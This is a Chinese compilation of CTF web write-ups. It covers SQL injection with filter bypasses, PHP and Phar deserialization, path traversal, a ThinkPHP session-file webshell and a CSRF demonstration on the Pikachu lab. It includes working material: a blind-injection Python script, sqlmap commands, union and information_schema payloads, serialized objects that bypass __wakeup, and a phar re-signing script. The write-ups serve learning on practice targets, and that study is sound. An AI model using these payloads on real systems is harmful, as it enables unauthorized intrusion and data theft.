Web15题(7.28~8.3)

(1)SQL注入

[NSSRound#1 Basic]sql_by_sql

登录界面

尝试二次注入覆盖 admin 用户,但是发现注释符 # 被过滤了,--可以

 但是无效了 

奥原来是密码输错了

 然后进行修改密码,修改以后就可以登录admin账户

查询按钮也不知道是不是注入点

id=1 为exist,id=0 没有

搞了半天看他们说这个不是mysql,而是sqlite

 

 方法1:

在 /query 下盲注查询

import requests
import stringstr = string.ascii_letters + string.digitsurl = "http://node4.anna.nssctf.cn:28926/query"
s = requests.session()
headers = {'Cookie': 'session=eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZjfMvg.GIZuH3fe_fhe_TTllzNnIvaVWpo'}if __name__ == "__main__":name = ''for i in range(0,100):char = ''for j in str:#表+字段#payload = "1 and substr((select sql from sqlite_master limit 1,1),{},1)='{}'".format(i, j)#数据payload = "1 and substr((select flag from flag limit 0,1),{},1)='{}'".format(i, j)data = {"id": payload}r = s.post(url=url, data=data, headers=headers)#print(r.text)if "exist" in r.text:name += jprint (j, end='')char = jbreakif char == '%':break

方法2:

直接sqlmap跑

sqlmap -u "http://node4.anna.nssctf.cn:28040/query" --data="id=1" --cookie="Hm_lvt_648a44a949074de73151ffaa0a832a" -T flag -C flag --dump

查询参数和cookie值不能搞错 

 【SWPUCTF 2021 新生赛】ez_sql

提示安全的传参即POST传参

得到一个假的flag

传参 1'  报错,看引号部分是字符型注入

把引号注释掉又恢复正常了

注意这里我发现注释符 --+ 和  --  都被过滤掉了

诶嘿,在判断列数时发现我 order by 被它截断了

说明or被过滤了 ,而且,它给我空格也删了(过滤了)

那就要找绕过方法了

去网上找了一下

替换 order by 的,用 group by:

替换空格的,用 /**/ :

替换后继续查询,发现绕过

加第2列

3列

第4列就没有了

所以总的只有三列

接下来联合查询

结果 union 也被过滤了

双写union绕过

但是发现没有返回我想要的信息,这样的话就会想到之前的报错信息提到的LIMIT子句:

也就是说LIMIT是表示所在页数,这样的话我换一页试试:limit 1,1

哦豁,可以看到返回位数是第2列和第3列,但要注意的是第三列前提示的才是True flag,所以应该查询第3列

给  database()  换个位:

得到数据库名 NSS_db

接下来爆表名

说明又有字符被过滤了

仔细一看就是 information少了or嘛

进行双写绕过,但是发现语句最后被截断了,

欧欧欧原来是忘了加括号(加了括号才代表查询的是第3列的表名,和不加括号是完全不一样的)

加括号:

欧喉,返回长度超过一行

这个我熟啊,我记得是有这么个东西:

使用聚合函数 group_concat 来将多行数据合并为一行(用它包裹住table_name即可)

包裹执行

得到两个表名 NSS_tb  users

接下来查列名

查具体数据

得到flag

ok,恭喜自己又掉进出题佬的圈套(提交了好几次发现还是不正确)

后来才意识到被骗了 ,true flag反而是false,而真正的flag应该在Flag:这一栏

emmm我真的是,怎么这么多坑

但是发现仅仅只替换为第2列回显时任然是一样的flag,可能是两列目录不一样,所以光换位还不行,需要换位重新做一遍。。

做就做谁怕谁

可以看到数据库名是一样的:

表名也是一样的 :

耶?怎么列名也一样??? :

这样的话就说明是目录查错了(flag根本不在flll444g目录下)

试试Secr3t

这次该对了吧 昂?

 [LitCTF 2023]这是什么? SQL! 注一下!

搜什么

先注入万能密码试试

发现只是切换了页面,并没有报错或其他提示,说明是盲注

 试了一些字符发现照样只是换了页面,没有进入,应该是有字符被过滤了

那就先注个简单点的1,再进行fuzz模糊测试判断一下哪些字符是被过滤了

进行爆破

好像看似也没过滤什么

结果搞了半天不是盲注,下滑鼠标发现SQL语句和回显

那这样就没什么难度了

注1看看

可以看到一个嵌套数组 ,正确排版应该是这样:

Array ([0] => Array ([username] => tanji[password] => OHHHHHHH)
)

这个可以不用管它,注意到包裹1的是六个括号(((((()))))),这样就需要把括号给闭合掉

没有结果了,加个注释符注释掉后面6个反括号又有结果了

(由于题目有稍不雅的图,被屏蔽了,所以改了截一半)

判断列数

第3列无结果,说明只有两列

联合查询

发现返回结果有点长,应该是id=1的值和联合查询均返回了,那把id=1的值个影藏掉,看着有点费眼睛(id=1改为-1)

 

这次就只返回联合查询的值了

继续查数据库名

注意到username是第1列返回,psassword是第2列返回

猜测flag应该在password下,所以数据库名查第2列

得到数据库名ctf

继续查表名

-1))))))union select 1,(select table_name from information_schema.tables where table_schema='ctf')#

得到表名users

接续查列名

但是查了好几次都是没有返回值

我还以为是过滤了column,但是测试过后发现并没有

再后来想到有可能列名比较多,不是没有返回值而是返回值太多导致无法显示,所以用group_concat来输出所有,然后的确出了很多列名

查询第一个数据,但发现是无用的flag

接下来这个奥:

查询所有数据库:

id=-1)))))) union select 1,schema_name from information_schema.schemata #

 执行

我嘞个,有点多,还好吧,注意到ctftraining这个数据库

直接从头查询

又忘了group_concat

得到flag了吧终于

取数据!!!

特喵的,到这一步又忘了一个东西,虽然列名叫flag,但表中的字段可能包含数据库名而不仅仅是表名,所以应该差ctftraining.flag 

最后终于是出了

[GXYCTF 2019]BabySqli

注入单引号报错

是说明闭合方式是双引号吗

 但是打开F12键发现一段注释

不知道什么加密用随波逐流跑一下看看

然后发现base32的结果是base64

 

解一下发现一段语句

看样子是查询语句

而用万能语句发现报错,说明可能有过滤字符

fuzz模糊测试搞了一下,发现过滤了 or、xor、 oorr、concat()、order、format()、ord、for

但是我觉得还不全,又找了一下还有 rand() 等

并且发现用户名为 admin 时返回 wrong pass,反正就是思路就是 admin

用联合查询猜解字段数(刚学的方法sql注入)

admin' union select 1,2#

 

有用

继续 

admin' union select 1,2,3#

 

说明字段数为3

再猜解username字段数即可

1' union select 'admin',2,3#

 

用户错误,说明username不在一个字段

后面不会了,多亏大佬指导:

跳墙网-IT技术教程搬运工-官网首页

就是插入一条临时数据admin,然后密码为md5加密后的1,密码为1,就可以登录了

name=1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1

 

(2)PHP反序列化

之前没学过PHP反序列化,现在系统学一遍

通俗的讲PHP反序列化是字符串还原为变量的过程。这个字符串通常是由PHP的 serialize() 函数生成的,它包含了变量的类型

序列化 

序列化是将变量转换为字符串的过程,方便存储和传输。(serialize

例如:

$data = array("name" => "China", "age" => 76);
$serialized = serialize($data);
echo $serialized;

输出:

a:2:{s:4:"name";s:5:"China";s:3:"age";i:76;}

解释一下这个输出:

a  :表示这是一个数组(arry)

2  :表示这个数组中有两个元素

{......} :表示数组内容

s  :表示这是一个字符串(string)

4  :表示这个字符串有4个字符

"name" :字符串的内容

;  : 第一个和第三个分号表示键的结束

;  : 第二个和第四个分号表示值的结束

i  :表示这是一个整数(integer)

这是一个包含两个元素的数组,第一个元素的键是 name ,值是 China ;第二个元素的键是 age ,值是 76

总的来说这里 serialize() 函数 $data 数组转换为一个字符串。

反序列化

反序列化是将序列化的字符串还原为PHP变量的过程。(unserialize

还是上面的例子:

$serialized = 'a:2:{s:4:"name";s:5:"China";s:3:"age";i:76;}';
$data = unserialize($serialized);
print_r($data);

 输出:

Array
([name] => China[age] => 76
)

这里,unserialize() 函数将字符串还原为数组。

两者结合一下:

// 序列化数组
$data = array("name" => "China", "age" => 76);
$serialized = serialize($data);
echo "序列化后的字符串:\n";
echo $serialized . "\n";// 反序列化字符串
$unserialized = unserialize($serialized);
echo "反序列化后的数组:\n";
print_r($unserialized);

 输出:

序列化后的字符串:
a:2:{s:4:"name";s:5:"China";s:3:"age";i:76;}
反序列化后的数组:
Array
([name] => China[age] => 76
)

反序列化的主要作用是将存储或传输的字符串还原为 PHP 变量,方便后续操作。它常用于以下场景:

存储数据:将复杂的数据结构(如数组、对象)序列化后存储到文件或数据库中,需要时再反序列化还原。

网络传输:将数据序列化后通过网络传输,接收方反序列化还原。

而在CTF赛题中,PHP反序列化漏洞是一个常见的攻击点,主要作用是利用反序列化过程中的漏洞来执行恶意代码或绕过安全限制

其中代码执行主要指触发对象中的魔术方法,( _toString()、_destruct()、_wakeup() 等)从而执行恶意代码。

绕过安全限制:通过构造特定的序列化字符串,绕过应用程序的安全检查。

NSSCTF

[SWPUCTF 2021 新生赛]ez_unserialize

打开没题目

dirsearch扫了一下,发现robots.txt 和 flag.php

都访问一下

flag.php没有什么

 robots.txt 有个提示

是源码

 <?phperror_reporting(0);
show_source("cl45s.php");class wllm{public $admin;public $passwd;public function __construct(){$this->admin ="user";$this->passwd = "123456";}public function __destruct(){if($this->admin === "admin" && $this->passwd === "ctf"){include("flag.php");echo $flag;}else{echo $this->admin;echo $this->passwd;echo "Just a bit more!";}}
}$p = $_GET['p'];
unserialize($p);?> 

主要内容是 _construct() :构造函数,初始化 $admin$passwd ;

_destruct(): 析构函数,当对象被销毁时触发。

其中 _destruct() 方法中有一个条件判断: 如果 $admin === "admin"$passwd === "ctf",则包含 flag.php 文件并输出 $flag

否则,输出 $admin$passwd,并提示 "Just a bit more!"。

目标是构造一个序列化字符串,使得反序列化后的对象满足这个条件。

解题思路:

1、构造对象

创建一个 wllm 类的对象,其中 $admin 和 $passwd 的值分别为  'admin' 和 'ctf' 

然后将这个对象序列化为字符串

2、发送序列化字符串

将序列化后的字符串作为 $_GET['p'] 参数传递给脚本

脚本会调用 unserialize() 函数,反序列化字符串并触发 _destruct() 方法。

实操:

构造对象并序列化

脚本构造

$obj = new wllm();
$obj->admin = "admin";
$obj->passwd = "ctf";
$serialized = serialize($obj);
echo $serialized;

运行输出序列化字符串:

O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

这样payload直接打就可以了

[SWPUCTF 2022 新生赛]ez_ez_unserialize
<?php
class X
{public $x = __FILE__;function __construct($x){$this->x = $x;}function __wakeup(){if ($this->x !== __FILE__) {$this->x = __FILE__;}}function __destruct(){highlight_file($this->x);//flag is in fllllllag.php}
}
if (isset($_REQUEST['x'])) {@unserialize($_REQUEST['x']);
} else {highlight_file(__FILE__);
} 

做了之前的这题也照葫芦画瓢

尝试调用 $_REQUEST['x'] ,如果这个参数被设置就对其进行反序列化,但会触发 _wakeup() ,将x重新赋值,最后发序列化触发 _destruct() 将最终的文件输出,那就构造pop链

<?php
class X 
{public $x = 'fllllllag.php';
}
$a=new X;
echo serialize($a);
?>

 既然要绕过wakeup函数,主要序列化中的成员数大于实际成员数,就可以绕过了

O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

 然后传参就可以了

[极客大挑战 2019]PHP 

题目提示直接上dirsearch扫一下

数据量太大,扫了三分钟才出来

www.zip 源码

发现有一个flag但提交不正确

又发现了序列化函数,尝试找出反序列化端口

 看一下 index.php 

补充知识点:

常用的内置方法:
__construct():创建对象时初始化,当一个对象创建时被调用
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruction():结束时销毁对象,当一个对象销毁时被调用

 再看class.php几个函数,主要验证username是admin,password是100

<?php
include 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}
?>

直接new username为admin,password为100的对象并且序列化。我们直接在class.php源码中加上序列化,得到序列化后的字符串。 

构造条件序列化

<?php
include 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}
$admin=new Name('admin',100);
$admin1=serialize($admin);
echo $admin1
?>

得到字符串

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

但是还有一个函数,__wakeup()会将username重新赋值为“guest”,所以我们需要想办法将__wakeup()函数绕过。查找资料后发现大佬说

在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行
原本:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
绕过:O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

所以最后传参 

?select=O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

[网鼎杯 2020 青龙组]AreUSerialz 1

直接看源码

<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {protected $op;protected $filename;protected $content;function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}private function output($s) {echo "[Result]: <br>";echo $s;}function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}}function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);}}

按照常规方法,首先,我们先将代码复制到本地进行序列化构造,

根据代码逻辑分析,咱们可知    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

_destruct()析构函数当对象被销毁时会被自动调用;所以当反序列化函数调用时,会触发这个

分析此方法内的代码逻辑,当我们需要它正确输出flag时此魔术方法调用后会接着正确调用此对象中的process()方法和output()方法,所以write()方法也可以删除不用看, protected $content属性也可直接删了。

根据构造函数is_valid($s) 可知,

$s的值ASCII码范围得在32<=$s<=125;

再根据构造函数read()可知,

$filename值基本为flag.php

根据上述信息,构造第一个序列化值得到:

O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";N;}

php将属性类型换成public

<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
    public $op=2;
    public $filename="flag.php";
}

?str=O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";

但是发现只有一个result

查看源代码就可以了

(3)Phar反序列化

[NSSRound#4 SWPU]1zweb

文件上传还有个查询按钮

刚开始尝试文件上传了几次发现不行 

用dirsearch扫了一下

但是 /upload 禁止访问

突然注意到文件查询的按钮,试一试

后面得到提示查询 index.php 文件

好像不全,查看一下源代码

这里可以看到,又php的魔术方法,有对flag的正则匹配限制,但是没有 unserialize() 函数,猜想应该是利用了phar协议的反序列化来拿flag

通过代码审计,我们可以看到,这里有php的魔术方法,有对flag的正则匹配限制,但是这里没有unserialize()函数,猜想这里应该是利用了phar协议的反序列化来拿flag

Phar之所以能反序列化,是因为Phar文件会以序列化的形式存储用户自定义的meta-data,PHP使用phar_parse_metadata在解析meta数据时,会调用php_var_unserialize进行反序列化操作。

先对文件后缀限制,然后是对phar文件里的_HALT_COMPILER()函数;进行匹配,这个函数是phar文件的标志性函数,可以绕过,例如我们可以将phar文件用linux的gzip进行压缩来加密它,以此来绕过此检测,在上面的魔术方法的图里看到了wakeup函数,在php低版本里,可以通过修改属性个数大于实际属性个数,来绕过wakeup函数,但是因为phar文件生成时是自动进行序列化的,所以我们我们需要修改文件,phar文件生成时会进行签名,来防止被修改,所以修改文件后我们需要对phar文件重新签名,phar文件有几种不同的加密签名选择,默认签名方法应该是要看生成phar文件的php版本

可以构造恶意phar文件(生成文件),再修改文件(可以通过winhex修改属性个数)

再利用修复签名的python脚本将签名修复

python脚本

from hashlib import sha256
with open('test.phar', 'rb') as file:f = file.read() 
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha256(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newtest.phar', 'wb') as file:file.write(newf) # 写入新文件

可以用kali对phar文件进行压缩(kali自带gzip) 不压缩的话phar的文件头还是会被识别出来。

然后随便修改白名单的文件后缀上传就好了

 非预期:

这题由于出题人没有限制对文件读取,可以用目录遍历直接读取flag /flag。

[网鼎杯 2020 青龙组]filejava 1

文件上传吗?

不会的,随便上传一个文件,发现它会返回一个文件的下载地址

抓个包看看

filename联想到路径穿越,../ 看看现在在哪里

 是java,完了不会java

但是数了一下有9个,就用9个 ../ 去看配置文件

[GYCTF2020]EasyThinking

按钮有点多

该说不说,这题源码是真的难找

dirsearch先是扫出来 /.htaccess 文件

但429

去掉 . 

 

还有个 member

 

 

还有 config/app.php

 

 

还有一堆东西,但是感觉都没用

 

 

但是注意到 www.zip

 

看一下,因为通常源码都在里面

 下载解压

有点 多

因为刚刚扫到了member,所以注意到目录 web\app\home\controller 下有一个 Member.php

是网页源码: 

<?php
namespace app\home\controller;use think\exception\ValidateException;
use think\facade\Db;
use think\facade\View;
use app\common\model\User;
use think\facade\Request;
use app\common\controller\Auth;class Member extends Base
{public function index(){if (session("?UID")){$data = ["uid" => session("UID")];$record = session("Record");$recordArr = explode(",", $record);$username = Db::name("user")->where($data)->value("username");return View::fetch('member/index',["username" => $username,"record_list" => $recordArr]);}return view('member/index',["username" => "Are you Login?","record_list" => ""]);}public function login(){if (Request::isPost()){$username = input("username");$password = md5(input("password"));$data["username"] = $username;$data["password"] = $password;$userId = Db::name("user")->where($data)->value("uid");$userStatus = Db::name("user")->where($data)->value("status");if ($userStatus == 1){return "<script>alert(\"该用户已被禁用,无法登陆\");history.go(-1)</script>";}if ($userId){session("UID",$userId);return redirect("/home/member/index");}return "<script>alert(\"用户名或密码错误\");history.go(-1)</script>";}else{return view('login');}}public function register(){if (Request::isPost()){$data = input("post.");if (!(new Auth)->validRegister($data)){return "<script>alert(\"当前用户名已注册\");history.go(-1)</script>";}$data["password"] = md5($data["password"]);$data["status"] = 0;$res = User::create($data);if ($res){return redirect('/home/member/login');}return "<script>alert(\"注册失败\");history.go(-1)</script>";}else{return View("register");}}public function logout(){session("UID",NULL);return "<script>location.href='/home/member/login'</script>";}public function updateUser(){$data = input("post.");$update = Db::name("user")->where("uid",session("UID"))->update($data);if($update){return json(["code" => 1, "msg" => "修改成功"]);}return json(["code" => 0, "msg" => "修改失败"]);}public function rePassword(){$oldPassword = input("oldPassword");$password = input("password");$where["uid"] = session("UID");$where["password"] = md5($oldPassword);$res = Db::name("user")->where($where)->find();if ($res){$rePassword = User::update(["password" => md5($password)],["uid"=> session("UID")]);if ($rePassword){return json(["code" => 1, "msg" => "修改成功"]);}return json(["code" => 0, "msg" => "修改失败"]);}return json(["code" => 0, "msg" => "原密码错误"]);}public function search(){if (Request::isPost()){if (!session('?UID')){return redirect('/home/member/login');            }$data = input("post.");$record = session("Record");if (!session("Record")){session("Record",$data["key"]);}else{$recordArr = explode(",",$record);$recordLen = sizeof($recordArr);if ($recordLen >= 3){array_shift($recordArr);session("Record",implode(",",$recordArr) . "," . $data["key"]);return View::fetch("result",["res" => "There's nothing here"]);}}session("Record",$record . "," . $data["key"]);return View::fetch("result",["res" => "There's nothing here"]);}else{return View("search");}}
}

里面发现了session:ThinkPhP6 会默认在 /runtime/session 创建一个sess_xxxx格式的session文件,这里的xxxx就是PHPSESSID(32位),而文件的内容就是session的内容,也就是key的内容。(不知道和内个PHP随机种子一不一样)并且发现了关键代码:

if ($userId){session("UID",$userId);return redirect("/home/member/index");}

 所以这里把uid写入当前的session中,就是说本来构造的PHPSESSID=1111111111111111111111111111.php的session是没有uid的,没办法实现search功能,这里可以把uid赋给session,即可以在搜索页面写入马(都要放包那里修改并且放包,这样才会上传马)

 

 

(4)CSRF

CSRF漏洞其实就是攻击者利用用户在已登录的情况下,通过受信任网站执行一些未经用户授权的操作

详细来说就是

黑客控制一个网站B >> 用户登录访问网站A >> 网站A验证用户账号和密码,成功后生成一个session ID,并返回给客户端(用户)存储在浏览器中 >> 用户在客户端新建访问黑客控制的网站B >> 网站B自动触发要求客户端访问网站A >> 客户端通过网站B中的链接访问网站A >> 网站A检验session ID的合法性(如果合法就执行相应的操作) 

2、CSRF漏洞的原理

所以其实CSRF漏洞的原理基本可以分为四个部分:

(1)用户登录与身份验证

用户在目标网站进行登录,网站通过 CookieToken 等方式对用户进行身份验证,并在后续请求中用于识别用户身份。

(2)攻击者构造恶意链接

攻击者恶意构造一个包含恶意操作的链接(比如转账到攻击者账户的链接)

(3)诱导受害者(这里的用户)访问

攻击者通过各种手段,如发送恶意邮件、在社交平台发布诱人的信息等,诱导受害者(用户)去点击这个恶意链接

(4)目标网站执行恶意操作

目标网站在接收到请求后,结合附带的身份验证信息,会认为这个请求来自合法的用户,所以会执行链接中的恶意操作

3、CSRF漏洞的危害

(1)篡改目标网站上的用户数据

攻击者可以修改用户的个人信息

(2)盗取用户隐私数据

攻击者可以访问用户的私密信息

(3)作为其他攻击向量的辅助攻击方法

CSSRF可以与其他攻击手段(如XSS、SQL注入)结合,实现更复杂的攻击

(4)传播CSRF蠕虫

可以利用CSRF漏洞传播恶意代码

4、常见类型的CSRF攻击

GET类型

攻击者通过构造恶意链接,诱导用户点击,从而触发 GET 请求

POST类型

攻击者通过构造恶意表单,诱导用户提交,从而触发 POST 请求

短连接伪装

攻击者将恶意链接转换为短链接,以提高用户点击的可能性

 这里建议使用各平台如NSS上的Pikachu,以防自己本地搭建的靶场有问题(我自己搭的就抓不到包)

Pikachu

Pass 1

来到 Pikachu 靶场的第一关 GET

先登录

旁边点提示有提供用户

 

随便一个用户登录,密码都是123456

然后开启代理修改个人信息

现在模拟用户操作想要修改所有信息为11

这个时候来到 bp 抓到的包里面就能看到我们发起的请求

可以看到 edit

现在模拟攻击者构造恶意的 url

把请求的 url 复制过来到浏览器

假如攻击者现在把 url 中的性别 sex 改为 22,再把前面的 url 拼接上去

这样攻击者的恶意 url 就已经构造完成

我们先回去看一下原页面的 cookie 

可以看到这个时候浏览器存储的 cookie 里已经有了 PHPSESSION (相当于有了用户的一个凭证)

所以只要含有这个 cookie 的浏览器(即用户的浏览器)识别到我们去请求前面的这个ip 和对应的端口,就会把这个 cookie 信息带过去(就不会再让用户登录)

比如刚刚我们已经构造好了 url 现在只需要模拟用户点击链接访问即可

可以发现虽然用户想要更改的信息全是11,但经过攻击者构造的 url 修改了性别之后,性别却并不是11,而是攻击者指定的 22 了

假如这次我们换一个没有用户 cookie 的浏览器点击恶意链接

先在用户端修改所有信息为 22

然后抓包构造恶意 url,用没有用户 cookie 的浏览器模仿用户点击

可以发现这次虽然点击(访问)了恶意链接,但是信息没有被修改,并且要求登录

这就是因为这个浏览器没有目标用户 cookie 的原因

假如我们又使用刚刚含有用户 cookie 的火狐浏览器访问恶意链接,就会发现性别又被成功修改为 33

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/bicheng/92073.shtml
繁体地址,请注明出处:http://hk.pswp.cn/bicheng/92073.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

《Python 实用项目与工具制作指南》· 1.2 选择与配置Python代码编辑器

1.2 选择与配置 Python 代码编辑器 安装好 Python 环境后&#xff0c;我们还需要一款合适的代码编辑器来编写、运行和调试代码。就像作家需要趁手的钢笔&#xff0c;程序员也需要好用的编辑器 —— 它能帮你自动补全代码、高亮语法错误&#xff0c;让开发 “题目数据生成器”“…

Kali基础知识点【2】

Nmap信息收集nmap&#xff1a;网络扫描器&#xff0c;收集网络信息 openVAS:系统漏洞扫描器Nmap基础命令 nmap 目标主机&#xff1a;收集开放的端口 nmap -O 目标主机&#xff1a;收集目标主机的操作系统 nmap -sP 网段/子网掩码&#xff1a;扫描目标网段上开启的主机 nmap -sV…

Python自动化测试框架:Unittest 断言

&#x1f345; 点击文末小卡片&#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快断言是编程中常用的一种验证方法&#xff0c;也是测试代码中最重要的部分&#xff0c;用于验证某个条件是否为真&#xff0c;验证测试结果与预期结果是否一致。unit…

spring-ai-alibaba 学习(十八)——graph进阶

内容概述 前一篇&#xff08;spring-ai-alibaba 1.0.0.2 学习&#xff08;十七&#xff09;——初识graph-CSDN博客&#xff09;初步介绍了graph&#xff1a; 概念&#xff1a;图、边、节点、状态等&#xff0c;及其核心类和衍生类 使用流程&#xff1a; 1&#xff09;定义…

音视频学习(四十七):模数转换

模数转换&#xff08;Analog-to-Digital Conversion&#xff0c;简称ADC&#xff09;是将连续的模拟信号转换为离散的数字信号的过程&#xff0c;是现代电子系统中的核心技术之一。模数转换广泛应用于通信、信号处理、传感器数据采集、音频处理、图像处理等领域。 基本原理 模数…

8.高斯混合模型

高斯混合模型&#xff0c;简称GMM&#xff0c;对数据可以进行聚类或拟合&#xff0c;多用于传统语音识别。他会将每个数据看做多个高斯分布混合生成的。对于无标签的数据进行聚类&#xff0c;一般采用高斯混合模型处理。算法过程 1.首先进行初始猜测&#xff0c;假设有n个簇&am…

Calcite自定义扩展SQL案例详细流程篇

文章目录前言本章节源码一、基于 Calcite 实现一个自定义 SQL 解析器1.1、认识Calcite解析器二、实战案例2.1、快速构建一个可扩展sql语法的模板工程&#xff08;当前暂无自定义扩展sql示例&#xff09;步骤1&#xff1a;拉取calcite源码&#xff0c;复制codegen代码步骤2&…

【生活篇】Ubuntu22.04安装网易云客户端

前文啰嗦&#xff0c;直接跳转 命令行汇总 网易云linux版早已停止维护&#xff0c;自己一直在使用web版本&#xff0c;今天想下载个音乐&#xff0c;结果需要客户端。。。 安装命令很简单&#xff1a; wget https://d1.music.126.net/dmusic/netease-cloud-music_1.2.1_amd64…

FT8441S/FT8441A 5V非隔离方案电路原理图(型号解析及管脚定义)

在当今电子设备日益普及的背景下&#xff0c;高效、稳定且低成本的电源解决方案成为了众多工程师的追求目标。Fremont Micro Devices 推出的 FT8441S 和 FT8441A 正是这样两款满足需求的芯片&#xff0c;它们凭借高精度恒压输出、快速启动以及完善的保护功能&#xff0c;成为了…

Python 面向对象编程核心知识点深度解析

面向对象编程&#xff08;OOP&#xff09;是 Python 中最重要的编程范式之一&#xff0c;它将数据和操作数据的方法封装在一起&#xff0c;提高了代码的复用性和可维护性。本文将结合实际代码示例&#xff0c;详细讲解 Python 面向对象编程的核心概念和常用技巧。一、类与对象的…

Java学习第一百部分——Kafka

目录 一、前言提要 二、核心价值 三、核心架构 四、基本用途 五、优势总结 六、相关技术 七、详细用途 八、高级用法 九、最佳实践 十、总结定位 一、前言提要 Apache Kafka 是一个强大的开源分布式流处理平台&#xff0c;专为处理高吞吐量、低延迟的实时数据流而设计…

[spring-cloud: 负载均衡]-源码分析

获取服务列表 ServiceInstanceListSupplier ServiceInstanceListSupplier 接口是一个提供 ServiceInstance 列表的供应者&#xff0c;返回一个响应式流 Flux<List<ServiceInstance>>&#xff0c;用于服务发现。 public interface ServiceInstanceListSupplier e…

Oracle 在线重定义

Oracle 在线重定义&#xff08;Online Redefinition&#xff09; 是一种功能&#xff0c;通过DBMS_REDEFINITION 包提供&#xff0c;允许DBA在不需要停止或显著影响数据库正常操作的情况下&#xff0c;对数据库表进行结构化修改。可以实现的功能将表移动到其它表空间增加、修改…

Web 开发 12

1 网址里的 “搜索请求” 结构 这张图是在教你怎么看懂 网址里的 “搜索请求” 结构&#xff0c;特别基础但超重要&#xff0c;对你学前端帮别人做搜索功能超有用&#xff0c;用大白话拆成 3 步讲&#xff1a; 1. 先看「协议&#xff08;Protocol&#xff09;」 HTTPS 就是浏…

网络安全 | 如何构建一个有效的企业安全响应团队

网络安全 | 如何构建一个有效的企业安全响应团队 一、前言 二、团队组建的基础要素 2.1 人员选拔 2.2 角色定位 三、团队应具备的核心能力 3.1 技术专长 3.2 应急处置能力 3.3 沟通协作能力 四、团队的运作机制 4.1 威胁监测与预警流程 4.2 事件响应流程 4.3 事后复盘与改进机制…

HTTP、WebSocket、TCP、Kafka等通讯渠道对比详解

在当今互联的数字世界中&#xff0c;通信渠道是系统、应用程序和设备之间数据交换的支柱。从传统的HTTP和TCP协议到专为特定场景设计的Kafka和MQTT等平台&#xff0c;这些通信方式满足了从实时消息传递到大规模数据流处理的多样化需求。本文将深入探讨主要的通信协议和平台。一…

臭氧、颗粒物和雾霾天气过程的大气污染物计算 CAMx模型

随着我国经济快速发展&#xff0c;我国面临着日益严重的大气污染问题。大气污染是工农业生产、生活、交通、城市化等方面人为活动的综合结果&#xff0c;同时气象因素是控制大气污染的关键自然因素。大气污染问题既是局部、当地的&#xff0c;也是区域的&#xff0c;甚至是全球…

数据结构(13)堆

目录 1、堆的概念与结构 2、堆的实现 2.1 向上调整算法&#xff08;堆的插入&#xff09; 2.2 向下调整算法&#xff08;堆的删除&#xff09; 2.3 完整代码 3、堆的应用 3.1 堆排序 3.2 Top-K问题 1、堆的概念与结构 堆是一种特殊的二叉树&#xff0c;根结点最大的堆称…

C++模板知识点3『std::initializer_list初始化时逗号表达式的执行顺序』

std::initializer_list初始化时逗号表达式的执行顺序 在使用Qt Creator4.12.2&#xff0c;Qt5.12.9 MinGW开发的过程中发现了一个奇怪的现象&#xff0c;std::initializer_list<int>在初始化构造时的执行顺序反了&#xff0c;经过一番测试发现&#xff0c;其执行顺序可正…

【Unity3D】Shader圆形弧度裁剪

